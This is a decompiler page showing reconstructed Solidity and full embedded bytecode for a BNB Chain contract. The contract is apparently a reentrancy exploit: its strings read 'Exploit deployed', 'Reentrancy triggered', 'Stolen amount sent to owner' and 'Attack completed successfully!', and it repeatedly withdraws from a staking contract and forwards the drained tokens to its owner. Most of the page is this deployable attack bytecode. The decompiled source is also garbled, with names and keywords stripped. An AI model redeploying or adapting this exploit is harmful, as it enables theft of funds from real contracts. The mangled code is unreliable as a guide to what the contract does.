BNB Chain
0x1196395632762d9f7263110a2e4ede5806618088
Decompiled Solidity recovered from this contract's runtime bytecode. Best-effort reconstruction — confirm behaviour against on-chain state.
Decompilation outputBNB Chain · 0x11963956…0661808811.9 KB5.1 s
This result is permanently available athttps://decompiler.exvul.com/bsc/0x1196395632762d9f7263110a2e4ede5806618088
200 lines · Click a variable or keyword to highlight its references · Click a line number to copy its link; Shift-click to copy a block link
//decompiled by exvvul decompiler tool contact@exvul.com https://x.com/exvulsec// SPDX-License-Identifier: MIT >=0.8.0; { = 1023639521836655413551032756451332648186786216052; = 1102879075910743166722509745483502509518403640067; ; // STORAGE[0x0] bytes 0 to 19 ; // STORAGE[0x1] bytes 0 to 19 ; // STORAGE[0x2] (, , , ); () { (. == , "Not owner"); ; } () { // Synthetic compatibility routes preserve original selectors for unresolved names. ((.. >= 4) && (. == 0x8e2939af)) { // Route to Unknown_8e2939af(uint256) after replacing only msg.sig. ((0xefd05b14)); ; } ((.. >= 4) && (. == 0xcf03e795)) { // Route to Unknown_cf03e795(uint256) after replacing only msg.sig. ((0x8141e5ad)); ; } ((.. >= 4) && (. == 0xec66ec0a)) { // Route to Unknown_ec66ec0a(uint256) after replacing only msg.sig. ((0xd885210d)); ; } (); } () () { (.. != 0x0); ( , ) = .(.((0x70a08231), ())); // staticcall balanceOf (); (!(. < 0x20)); = .(, ()); // duplicate declaration of accountBalance omitted } () () { ; } () () { ; } ( ) { (); } () { (.. != 0x0); ( , ) = .(.((0x70a08231), ())); // staticcall balanceOf (); (!(. < 0x20)); = .(, ()); ( > 0, "No profit"); (.. != 0x0); ( , ) = .(.((0xa9059cbb), , )); // call transfer (); (!(. < 0x20)); = .(, ()); (, "Transfer failed"); ((0x20 + (0x20 + )) - , , 0x10, 0x50726f6669742077697468647261776e00000000000000000000000000000000); } () () { (.. != 0x0); ( , ) = .((), 0xb34d956bfe58a5684d8e7f33c87c31a37e3df874); // staticcall (); (!(. < 0x20)); = .(, ()); // duplicate declaration of currentAllowance omitted } ( ) { (.. != 0x0); ( , ) = .(.((0x23b872dd), ., (), )); // call transferFrom (); (!(. < 0x20)); = .(, ()); (, "Transfer failed"); = + ; ((0x20 + (0x20 + )) - , , 0x11, 0x4465706f736974656420746f2062616e6b000000000000000000000000000000); } ( ) { (); } ( ) { (!( > ), "Insufficient balance"); (.. != 0x0); ( , ) = .(.((0x095ea7b3), 0xb34d956bfe58a5684d8e7f33c87c31a37e3df874, )); // call approve (); (!(. < 0x20)); = .(, ()); (, "Approve failed"); ((0x20 + (0x20 + )) - , , 0x15, 0xe29c8520417070726f76656420746f207374616b650000000000000000000000); } ( ) { // Decompilation incomplete: helper effect provenance is conservative. (. == , "Not owner"); (!( > ), "Insufficient balance"); (.. != 0x0); ( , ) = .(.((0x095ea7b3), 0xb34d956bfe58a5684d8e7f33c87c31a37e3df874, )); // call approve (); (!(. < 0x20)); = .(, ()); (, "Approve failed"); ((0x20 + (0x20 + )) - , , 0x08, 0x417070726f766564000000000000000000000000000000000000000000000000); = 0x608060405273c12ecee46ed65d970ee5c899fcc7ae133aff9b036000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555073b34d956bfe58a5684d8e7f33c87c31a37e3df874600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055503480156100b957600080fd5b506040516200154938038062001549833981810160405260208110156100de57600080fd5b810190808051906020019092919050505033600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600460006101000a81548160ff0219169083151502179055506000600381905550600081116101c9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260128152602001807f416d6f756e74206d757374206265203e2030000000000000000000000000000081525060200191505060405180910390fd5b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561025357600080fd5b505afa158015610267573d6000803e3d6000fd5b505050506040513d602081101561027d57600080fd5b8101908080519060200190929190505050905081811015610306576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f496e73756666696369656e742054525920696e20636f6e74726163740000000081525060200191505060405180910390fd5b7fdd970dd9b5bfe707922155b058a407655cb18288b807e2216442bca8ad83d6b5816040518080602001838152602001828103825260118152602001807f42616c616e636520617661696c61626c650000000000000000000000000000008152506020019250505060405180910390a160008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b373b34d956bfe58a5684d8e7f33c87c31a37e3df874846040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561041b57600080fd5b505af115801561042f573d6000803e3d6000fd5b505050506040513d602081101561044557600080fd5b81019080805190602001909291905050506104c8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600e8152602001807f417070726f7665206661696c656400000000000000000000000000000000000081525060200191505060405180910390fd5b7fdd970dd9b5bfe707922155b058a407655cb18288b807e2216442bca8ad83d6b58260405180806020018381526020018281038252601e8152602001807fe29c8520417070726f76656420746f207374616b6520636f6e747261637400008152506020019250505060405180910390a1600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ca84d591836040518263ffffffff1660e01b815260040180828152602001915050600060405180830381600087803b1580156105ad57600080fd5b505af11580156105c1573d6000803e3d6000fd5b505050507fdd970dd9b5bfe707922155b058a407655cb18288b807e2216442bca8ad83d6b5826040518080602001838152602001828103825260068152602001807f5374616b656400000000000000000000000000000000000000000000000000008152506020019250505060405180910390a16001600460006101000a81548160ff021916908315150217905550600080601e90506000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663b29ce5a0306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b1580156106e257600080fd5b505afa1580156106f6573d6000803e3d6000fd5b505050506040513d602081101561070c57600080fd5b810190808051906020019092919050505090507fdd970dd9b5bfe707922155b058a407655cb18288b807e2216442bca8ad83d6b58160405180806020018381526020018281038252600e8152602001807f496e697469616c207374616b65640000000000000000000000000000000000008152506020019250505060405180910390a15b60008111801561079f57508183105b15610a545782806001019350507fdd970dd9b5bfe707922155b058a407655cb18288b807e2216442bca8ad83d6b58360405180806020018381526020018281038252600a8152602001807f57697468647261772023000000000000000000000000000000000000000000008152506020019250505060405180910390a17fdd970dd9b5bfe707922155b058a407655cb18288b807e2216442bca8ad83d6b58160405180806020018381526020018281038252600d8152602001807f416d6f756e74206265666f7265000000000000000000000000000000000000008152506020019250505060405180910390a1600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16632c75bcda826040518263ffffffff1660e01b815260040180828152602001915050600060405180830381600087803b15801561090157600080fd5b505af1158015610915573d6000803e3d6000fd5b50505050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663b29ce5a0306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b1580156109a257600080fd5b505afa1580156109b6573d6000803e3d6000fd5b505050506040513d60208110156109cc57600080fd5b810190808051906020019092919050505090507fdd970dd9b5bfe707922155b058a407655cb18288b807e2216442bca8ad83d6b5816040518080602001838152602001828103825260098152602001807f52656d61696e696e6700000000000000000000000000000000000000000000008152506020019250505060405180910390a1610790565b6000600460006101000a81548160ff0219169083151502179055507fdd970dd9b5bfe707922155b058a407655cb18288b807e2216442bca8ad83d6b5836040518080602001838152602001828103825260118152602001807f546f74616c207769746864726177616c730000000000000000000000000000008152506020019250505060405180910390a160008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b158015610b6957600080fd5b505afa158015610b7d573d6000803e3d6000fd5b505050506040513d6020811015610b9357600080fd5b810190808051906020019092919050505090506000811115610d875760008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015610c6257600080fd5b505af1158015610c76573d6000803e3d6000fd5b505050506040513d6020811015610c8c57600080fd5b8101908080519060200190929190505050610d0f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600f8152602001807f5472616e73666572206661696c6564000000000000000000000000000000000081525060200191505060405180910390fd5b806003819055507fdd970dd9b5bfe707922155b058a407655cb18288b807e2216442bca8ad83d6b58160405180806020018381526020018281038252601f8152602001807fe29c852053746f6c656e20616d6f756e742073656e7420746f206f776e6572008152506020019250505060405180910390a15b7fdd970dd9b5bfe707922155b058a407655cb18288b807e2216442bca8ad83d6b560035460405180806020018381526020018281038252602381526020018062001526602391396040019250505060405180910390a15050505050506107338062000df36000396000f3fe6080604052600436106100955760003560e01c80638da5cb5b116100595780638da5cb5b146103a057806399181225146103e15780639a422b2914610422578063c59abf9f1461044f578063d9f9d5f21461047a57610282565b80631182caa01461028757806312065fe0146102c8578063125fdbbc146102f35780633555169b146103345780635ac072d71461035f57610282565b3661028257600460009054906101000a900460ff1615610280576000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663b29ce5a0306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561013a57600080fd5b505afa15801561014e573d6000803e3d6000fd5b505050506040513d602081101561016457600080fd5b81019080805190602001909291905050509050600081111561027e577fdd970dd9b5bfe707922155b058a407655cb18288b807e2216442bca8ad83d6b5816040518080602001838152602001828103825260198152602001807ff09f9484205265656e7472616e637920747269676765726564000000000000008152506020019250505060405180910390a1600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16632c75bcda826040518263ffffffff1660e01b815260040180828152602001915050600060405180830381600087803b15801561026557600080fd5b505af1158015610279573d6000803e3d6000fd5b505050505b505b005b600080fd5b34801561029357600080fd5b5061029c6104a5565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156102d457600080fd5b506102dd6104bd565b6040518082815260200191505060405180910390f35b3480156102ff57600080fd5b50610308610587565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561034057600080fd5b506103496105ad565b6040518082815260200191505060405180910390f35b34801561036b57600080fd5b506103746105b7565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156103ac57600080fd5b506103b56105db565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156103ed57600080fd5b506103f6610601565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561042e57600080fd5b50610437610619565b60405180821515815260200191505060405180910390f35b34801561045b57600080fd5b5061046461062c565b6040518082815260200191505060405180910390f35b34801561048657600080fd5b5061048f6106f7565b6040518082815260200191505060405180910390f35b73b34d956bfe58a5684d8e7f33c87c31a37e3df87481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561054757600080fd5b505afa15801561055b573d6000803e3d6000fd5b505050506040513d602081101561057157600080fd5b8101908080519060200190929190505050905090565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600354905090565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b73c12ecee46ed65d970ee5c899fcc7ae133aff9b0381565b600460009054906101000a900460ff1681565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663b29ce5a0306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b1580156106b757600080fd5b505afa1580156106cb573d6000803e3d6000fd5b505050506040513d60208110156106e157600080fd5b8101908080519060200190929190505050905090565b6003548156fea2646970667358221220703fe995025982016ff72943075ed84925c29df6f53a3986b227b306f884815064736f6c634300060c0033f09f8eaf2041747461636b20636f6d706c65746564207375636365737366756c6c7921; // this.code[6660:12109] = 0; = ; = (0x20 + (0x1549 + )) - ; ; { := (, , ) } (!(!((0, , ((0x20 + (0x1549 + )) - ))))); ((0x20 + (0x20 + )) - , , 0x10, 0x4578706c6f6974206465706c6f79656400000000000000000000000000000000); (.. != 0x0); ( , ) = .(.((0xa9059cbb), ((0, , ((0x20 + (0x1549 + )) - ))), )); // call transfer (); (!(. < 0x20)); = .(, ()); (, "Transfer failed"); = - ; ((0x20 + (0x20 + )) - , , 0x16, 0x5472616e7366657272656420746f206578706c6f697400000000000000000000); ((0x20 + (0x20 + )) - , 0, 0x10, 0x41747461636b20636f6d706c6574656400000000000000000000000000000000); } ( ) { // Decompilation incomplete: helper effect provenance is conservative. (. == , "Not owner"); (!( > ), "Insufficient balance"); (.. != 0x0); ( , ) = .((), 0xb34d956bfe58a5684d8e7f33c87c31a37e3df874); // staticcall (); (!(. < 0x20)); = .(, ()); (!( < ), "Must approve first"); = 0x608060405273c12ecee46ed65d970ee5c899fcc7ae133aff9b036000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555073b34d956bfe58a5684d8e7f33c87c31a37e3df874600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055503480156100b957600080fd5b506040516200154938038062001549833981810160405260208110156100de57600080fd5b810190808051906020019092919050505033600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600460006101000a81548160ff0219169083151502179055506000600381905550600081116101c9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260128152602001807f416d6f756e74206d757374206265203e2030000000000000000000000000000081525060200191505060405180910390fd5b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561025357600080fd5b505afa158015610267573d6000803e3d6000fd5b505050506040513d602081101561027d57600080fd5b8101908080519060200190929190505050905081811015610306576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f496e73756666696369656e742054525920696e20636f6e74726163740000000081525060200191505060405180910390fd5b7fdd970dd9b5bfe707922155b058a407655cb18288b807e2216442bca8ad83d6b5816040518080602001838152602001828103825260118152602001807f42616c616e636520617661696c61626c650000000000000000000000000000008152506020019250505060405180910390a160008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b373b34d956bfe58a5684d8e7f33c87c31a37e3df874846040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561041b57600080fd5b505af115801561042f573d6000803e3d6000fd5b505050506040513d602081101561044557600080fd5b81019080805190602001909291905050506104c8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600e8152602001807f417070726f7665206661696c656400000000000000000000000000000000000081525060200191505060405180910390fd5b7fdd970dd9b5bfe707922155b058a407655cb18288b807e2216442bca8ad83d6b58260405180806020018381526020018281038252601e8152602001807fe29c8520417070726f76656420746f207374616b6520636f6e747261637400008152506020019250505060405180910390a1600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ca84d591836040518263ffffffff1660e01b815260040180828152602001915050600060405180830381600087803b1580156105ad57600080fd5b505af11580156105c1573d6000803e3d6000fd5b505050507fdd970dd9b5bfe707922155b058a407655cb18288b807e2216442bca8ad83d6b5826040518080602001838152602001828103825260068152602001807f5374616b656400000000000000000000000000000000000000000000000000008152506020019250505060405180910390a16001600460006101000a81548160ff021916908315150217905550600080601e90506000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663b29ce5a0306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b1580156106e257600080fd5b505afa1580156106f6573d6000803e3d6000fd5b505050506040513d602081101561070c57600080fd5b810190808051906020019092919050505090507fdd970dd9b5bfe707922155b058a407655cb18288b807e2216442bca8ad83d6b58160405180806020018381526020018281038252600e8152602001807f496e697469616c207374616b65640000000000000000000000000000000000008152506020019250505060405180910390a15b60008111801561079f57508183105b15610a545782806001019350507fdd970dd9b5bfe707922155b058a407655cb18288b807e2216442bca8ad83d6b58360405180806020018381526020018281038252600a8152602001807f57697468647261772023000000000000000000000000000000000000000000008152506020019250505060405180910390a17fdd970dd9b5bfe707922155b058a407655cb18288b807e2216442bca8ad83d6b58160405180806020018381526020018281038252600d8152602001807f416d6f756e74206265666f7265000000000000000000000000000000000000008152506020019250505060405180910390a1600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16632c75bcda826040518263ffffffff1660e01b815260040180828152602001915050600060405180830381600087803b15801561090157600080fd5b505af1158015610915573d6000803e3d6000fd5b50505050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663b29ce5a0306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b1580156109a257600080fd5b505afa1580156109b6573d6000803e3d6000fd5b505050506040513d60208110156109cc57600080fd5b810190808051906020019092919050505090507fdd970dd9b5bfe707922155b058a407655cb18288b807e2216442bca8ad83d6b5816040518080602001838152602001828103825260098152602001807f52656d61696e696e6700000000000000000000000000000000000000000000008152506020019250505060405180910390a1610790565b6000600460006101000a81548160ff0219169083151502179055507fdd970dd9b5bfe707922155b058a407655cb18288b807e2216442bca8ad83d6b5836040518080602001838152602001828103825260118152602001807f546f74616c207769746864726177616c730000000000000000000000000000008152506020019250505060405180910390a160008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b158015610b6957600080fd5b505afa158015610b7d573d6000803e3d6000fd5b505050506040513d6020811015610b9357600080fd5b810190808051906020019092919050505090506000811115610d875760008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015610c6257600080fd5b505af1158015610c76573d6000803e3d6000fd5b505050506040513d6020811015610c8c57600080fd5b8101908080519060200190929190505050610d0f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600f8152602001807f5472616e73666572206661696c6564000000000000000000000000000000000081525060200191505060405180910390fd5b806003819055507fdd970dd9b5bfe707922155b058a407655cb18288b807e2216442bca8ad83d6b58160405180806020018381526020018281038252601f8152602001807fe29c852053746f6c656e20616d6f756e742073656e7420746f206f776e6572008152506020019250505060405180910390a15b7fdd970dd9b5bfe707922155b058a407655cb18288b807e2216442bca8ad83d6b560035460405180806020018381526020018281038252602381526020018062001526602391396040019250505060405180910390a15050505050506107338062000df36000396000f3fe6080604052600436106100955760003560e01c80638da5cb5b116100595780638da5cb5b146103a057806399181225146103e15780639a422b2914610422578063c59abf9f1461044f578063d9f9d5f21461047a57610282565b80631182caa01461028757806312065fe0146102c8578063125fdbbc146102f35780633555169b146103345780635ac072d71461035f57610282565b3661028257600460009054906101000a900460ff1615610280576000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663b29ce5a0306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561013a57600080fd5b505afa15801561014e573d6000803e3d6000fd5b505050506040513d602081101561016457600080fd5b81019080805190602001909291905050509050600081111561027e577fdd970dd9b5bfe707922155b058a407655cb18288b807e2216442bca8ad83d6b5816040518080602001838152602001828103825260198152602001807ff09f9484205265656e7472616e637920747269676765726564000000000000008152506020019250505060405180910390a1600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16632c75bcda826040518263ffffffff1660e01b815260040180828152602001915050600060405180830381600087803b15801561026557600080fd5b505af1158015610279573d6000803e3d6000fd5b505050505b505b005b600080fd5b34801561029357600080fd5b5061029c6104a5565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156102d457600080fd5b506102dd6104bd565b6040518082815260200191505060405180910390f35b3480156102ff57600080fd5b50610308610587565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561034057600080fd5b506103496105ad565b6040518082815260200191505060405180910390f35b34801561036b57600080fd5b506103746105b7565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156103ac57600080fd5b506103b56105db565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156103ed57600080fd5b506103f6610601565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561042e57600080fd5b50610437610619565b60405180821515815260200191505060405180910390f35b34801561045b57600080fd5b5061046461062c565b6040518082815260200191505060405180910390f35b34801561048657600080fd5b5061048f6106f7565b6040518082815260200191505060405180910390f35b73b34d956bfe58a5684d8e7f33c87c31a37e3df87481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561054757600080fd5b505afa15801561055b573d6000803e3d6000fd5b505050506040513d602081101561057157600080fd5b8101908080519060200190929190505050905090565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600354905090565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b73c12ecee46ed65d970ee5c899fcc7ae133aff9b0381565b600460009054906101000a900460ff1681565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663b29ce5a0306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b1580156106b757600080fd5b505afa1580156106cb573d6000803e3d6000fd5b505050506040513d60208110156106e157600080fd5b8101908080519060200190929190505050905090565b6003548156fea2646970667358221220703fe995025982016ff72943075ed84925c29df6f53a3986b227b306f884815064736f6c634300060c0033f09f8eaf2041747461636b20636f6d706c65746564207375636365737366756c6c7921; // this.code[6660:12109] = 0; = ; = (0x20 + (0x1549 + )) - ; ; { := (, , ) } (!(!((0, , ((0x20 + (0x1549 + )) - ))))); ((0x20 + (0x20 + )) - , , 0x10, 0x4578706c6f6974206465706c6f79656400000000000000000000000000000000); (.. != 0x0); ( , ) = .(.((0xa9059cbb), ((0, , ((0x20 + (0x1549 + )) - ))), )); // call transfer (); (!(. < 0x20)); = .(, ()); (, "Transfer failed"); = - ; ((0x20 + (0x20 + )) - , , 0x16, 0x5472616e7366657272656420746f206578706c6f697400000000000000000000); } ( ) { { := (0x40) (, 0, ()) (, (((), 0x00000000ffffffffffffffffffffffffffffffffffffffffffffffffffffffff), (224, (, 0xffffffff)))) := ((), (), , (), 0, 0) := () (, 0, ) 0 { (, ) } { (, ) } } } // Note: This selector table is synthetic and is not part of the original Solidity source. // It records the recovered selector-to-signature mapping without executable behavior. // 0x1182caa0 => STAKE_ADDRESS() // 0x12065fe0 => getBalance() // 0x1387c4fd => getDeposited() // 0x1d01364c => depositedAmount() // 0x5ac072d7 => TRY() // 0x8da5cb5b => owner() // 0x8e2939af => Unknown_8e2939af(uint256) // 0x959499b6 => withdrawProfit() // 0x973e9b8b => getAllowance() // 0x99181225 => unresolved_99181225() // 0xb6b55f25 => deposit(uint256) // 0xcf03e795 => Unknown_cf03e795(uint256) // 0xec66ec0a => Unknown_ec66ec0a(uint256)}